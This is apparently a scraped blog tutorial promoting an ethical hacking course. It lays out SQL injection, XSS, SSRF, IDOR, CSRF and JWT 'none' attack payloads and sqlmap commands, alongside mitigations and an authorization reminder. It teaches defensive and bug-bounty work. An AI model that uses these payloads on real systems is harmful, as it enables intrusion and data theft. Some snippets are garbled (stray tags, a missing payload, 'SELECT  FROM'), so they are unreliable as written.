77-Module Ethical Hacking Mastery: From SQLi to Bug Bounty – Your Ultimate Pentesting Blueprint + Video

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Introduction:

Ethical hacking and bug bounty hunting demand more than theoretical knowledge—they require hands-on exploitation skills across web, network, and client-side vectors. Modern security assessments integrate tools like Burp Suite, Nmap, and Wireshark with attack techniques including SQL injection (SQLi), cross-site scripting (XSS), server-side request forgery (SSRF), and insecure direct object references (IDOR) to uncover critical vulnerabilities before malicious actors do.

Learning Objectives:

  • Master real-world exploitation of SQLi, XSS, SSRF, and IDOR using Burp Suite’s intercepting proxy and repeater.
  • Build a complete bug bounty workflow from reconnaissance (Nmap/Wireshark) to reporting, with hands-on lab exercises.
  • Deploy Linux and Windows commands for web application pentesting, network sniffing, and privilege escalation.

You Should Know:

  1. Setting Up Your Ethical Hacking Lab: Burp Suite, Nmap & Wireshark
    Before launching attacks, configure your environment. This section provides verified commands for Linux (Kali/Ubuntu) and Windows (WSL or native) to install and initialize core tools.

Step‑by‑step guide:

  • Linux (Kali) – Tools are pre‑installed. Update them: 
    sudo apt update && sudo apt upgrade -y
sudo apt install burpsuite nmap wireshark -y
  • Windows – Download Burp Suite Community from PortSwigger, Nmap from nmap.org, and Wireshark from wireshark.org. Add to PATH: 
    PowerShell (Admin)
$env:Path += ";C:\Program Files\Nmap"
  • Launch Burp Suite – Set proxy listener to 127.0.0.1:8080. Install FoxyProxy browser extension to toggle proxy.
  • Initial Nmap scan to discover live hosts: 
    nmap -sn 192.168.1.0/24  Ping sweep
nmap -sV -p- 192.168.1.100  Version scan on all ports
  • Wireshark capture – Select interface (e.g., eth0), apply filter `http.request` to monitor web traffic.

Why this matters: Proper lab setup ensures you can intercept, analyze, and modify HTTP requests – the foundation of web app pentesting.

2. SQL Injection (SQLi) – Exploitation and Mitigation

SQLi remains a top OWASP risk. Learn to detect and exploit in‑band, blind, and out‑of‑band SQLi.

Step‑by‑step guide:

  • Target identification – Use Burp Suite to intercept a login or search request. Add a single quote (') to a parameter (e.g., id=1'). Look for database errors.
  • Automated exploitation with sqlmap (Linux): 
    sqlmap -u "http://target.com/page?id=1" --dbs --batch
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
  • Manual UNION attack – Determine column count: 
    id=1 ORDER BY 5 --  Adjust until error
id=1 UNION SELECT NULL, version(), user() --
  • Windows alternative – Use PowerShell with Invoke-WebRequest to craft malicious payloads: 
    $payload = "1' OR '1'='1"
Invoke-WebRequest -Uri "http://target.com/login?user=$payload"
  • Mitigation – Parameterized queries (prepared statements) and input validation. Example in Python: 
    cursor.execute("SELECT  FROM users WHERE id = %s", (user_id,))

Pro tip: Burp Suite’s Intruder can fuzz SQLi payloads – load the SQLi payload list from SecLists.

  1. Cross‑Site Scripting (XSS) – Stored, Reflected & DOM
    XSS enables session hijacking and defacement. Learn to craft payloads that bypass filters.

Step‑by‑step guide:

  • Reflected XSS – Insert `` into a search parameter. Observe if the script executes.
  • Stored XSS – Post a comment with <img src=x onerror=alert(1)>. If stored, every visitor triggers the alert.
  • DOM XSS – Inspect JavaScript sinks like document.write(location.hash). Test with <img src=x onerror=alert(1)>.
  • Bypass techniques – Use event handlers or encode characters: 
    </li>
</ul>

<

svg/onload=alert(1)>
<a href="javascript:alert(1)">click</a>

    – Burp Suite scanning – Right‑click request > Do an active scan. Review the Scanner results for XSS findings.
    – Mitigation – Output encoding (e.g., HTML entity encode), Content Security Policy (CSP), and sanitization libraries like DOMPurify.

    1. Server‑Side Request Forgery (SSRF) & Insecure Direct Object References (IDOR)
      SSRF tricks the server into making requests to internal systems; IDOR exposes unauthorized resources by manipulating object identifiers.

    Step‑by‑step guide:

    • SSRF detection – Find a feature that fetches a URL (e.g., avatar from external URL). Change the parameter to: 
      url=http://169.254.169.254/latest/meta-data/  AWS metadata
url=http://localhost/admin
url=file:///etc/passwd
    • Blind SSRF – Use a collaborator server (Burp Collaborator) to detect out‑of‑band interactions: 
      curl -X POST -d "url=http://YOUR-COLLABORATOR.oastify.com" http://target.com/fetch
    • IDOR exploitation – Change a numeric parameter in the request (e.g., `user_id=123` to user_id=124). If you see another user’s data, it’s IDOR.
    • Automated IDOR scanning – Use Burp Intruder with sequential IDs: 
      Positions: user_id=§123§
Payload: Numbers 100-200
    • Mitigation – SSRF: whitelist allowed domains, sanitize URL inputs, disable unused URL schemas. IDOR: use indirect references (UUIDs) and enforce server‑side access controls.
    1. Bug Bounty Workflow – From Recon to Report
      A systematic workflow increases bounty payouts. This section outlines a professional methodology.

    Step‑by‑step guide:

    1. Reconnaissance – Nmap for open ports, Wireshark for passive sniffing, and Sublist3r for subdomains: 
      sublist3r -d target.com
nmap -sV -p 80,443,8080 -iL subdomains.txt
    2. Mapping the attack surface – Use Burp Suite’s Target > Site map. Right‑click > Engage tools > Discover content.

    3. Automated scanning – Run Nikto or Nuclei:

    nuclei -u https://target.com -t cves/

    4. Manual testing – Intercept every request; test for SQLi, XSS, SSRF, IDOR using techniques from previous sections.
    5. Proof of concept (PoC) – Record a video or write a step‑by‑step with screenshots. Use `curl` to reproduce:

    curl -H "Cookie: session=xxx" "https://target.com/api/user/124"

    6. Reporting – Use a template: , Severity, Description, Steps to Reproduce, Impact, Mitigation. Submit via HackerOne or Bugcrowd.

    Windows tip: Use Fiddler as an alternative to Burp Suite; commands for PoC in PowerShell:

    Invoke-RestMethod -Uri "https://target.com/api/user/124" -Headers @{Cookie="session=xxx"}
    1. Network and Client‑Side Attacks with Wireshark & Nmap
      Understanding network traffic and client‑side vectors (like clickjacking or CSRF) completes the ethical hacking skillset.

    Step‑by‑step guide:

    • Network sniffing with Wireshark – Capture HTTP basic authentication: 
      tshark -i eth0 -Y "http.authbasic" -T fields -e http.authbasic
    • ARP spoofing detection – Run on Linux: 
      arp-scan --local
    • Client‑side attacks – Test for Clickjacking by embedding target in an iframe: 
      </li>
</ul>

<iframe src="https://target.com" width="100%" height="100%"></iframe>

      If the page loads, it’s vulnerable. Mitigation: Set X-Frame-Options: DENY.
      – CSRF testing – Check if requests lack anti‑CSRF tokens. Craft a malicious form:

      
<form action="https://target.com/transfer" method="POST">
<input name="amount" value="1000">
</form>

<script>document.forms[bash].submit();</script>

      – Windows commands – Use `netsh` to capture traffic:

      netsh trace start capture=yes
netsh trace stop

      7. API Security and Hardening Cloud Environments

      Modern bug bounties target APIs and cloud misconfigurations. Extend your skills with these advanced techniques.

      Step‑by‑step guide:

      • API enumeration – Use Burp Suite to replay GraphQL requests. Install InQL scanner for GraphQL introspection.
      • JWT attacks – Decode and modify JWT tokens on jwt.io. Test for `none` algorithm: 
        Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
      • Cloud hardening – Check S3 bucket permissions: 
        aws s3 ls s3://bucket-name --no-sign-request
      • Mitigation – Use API gateways with rate limiting, validate JWT signatures, enforce IAM roles, and scan CloudFormation templates with cfn‑nag.

      What Undercode Say:

      • Hands‑on beats theory – The course’s 77 modules emphasize live demos and labs; our commands turn that into actionable skills for bug bounty hunters.
      • Tool mastery is non‑negotiable – Burp Suite, Nmap, and Wireshark remain industry standards – learning their advanced features (e.g., Burp Intruder payloads) directly increases finding rates.
      • Mitigation completes the hacker – Every exploit section includes remediation steps (parameterized queries, CSP, X-Frame-Options), essential for professional reports and defensive security roles.

      The post by Fr.O So highlights a growing demand for practical, no‑fluff cybersecurity training. The provided link (https://lnkd.in/e8EPticK) likely leads to a full course covering these exact techniques. With 57 certifications, Tony Moukbel’s endorsement adds credibility. For professionals, integrating these commands into daily workflows (e.g., automated recon scripts) accelerates vulnerability discovery. Remember: always obtain proper authorization before testing any system.

      Prediction:

      As AI‑powered code generation becomes mainstream, automated tools will handle low‑hanging bugs (like simple SQLi), pushing ethical hackers toward complex logic flaws, race conditions, and chain exploits. Courses like the one promoted will evolve to include AI‑assisted pentesting (e.g., using LLMs to generate payloads) and defense against AI‑generated attacks. Bug bounty platforms will adopt stricter validation, requiring video PoCs and exploit chains. The future belongs to hackers who combine deep protocol knowledge (SSRF via gopher://, IDOR via GraphQL aliases) with scripting skills – exactly the blend this 77‑module blueprint cultivates.

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      Reported By: Fr O – Hackers Feeds
      Extra Hub: Undercode MoN
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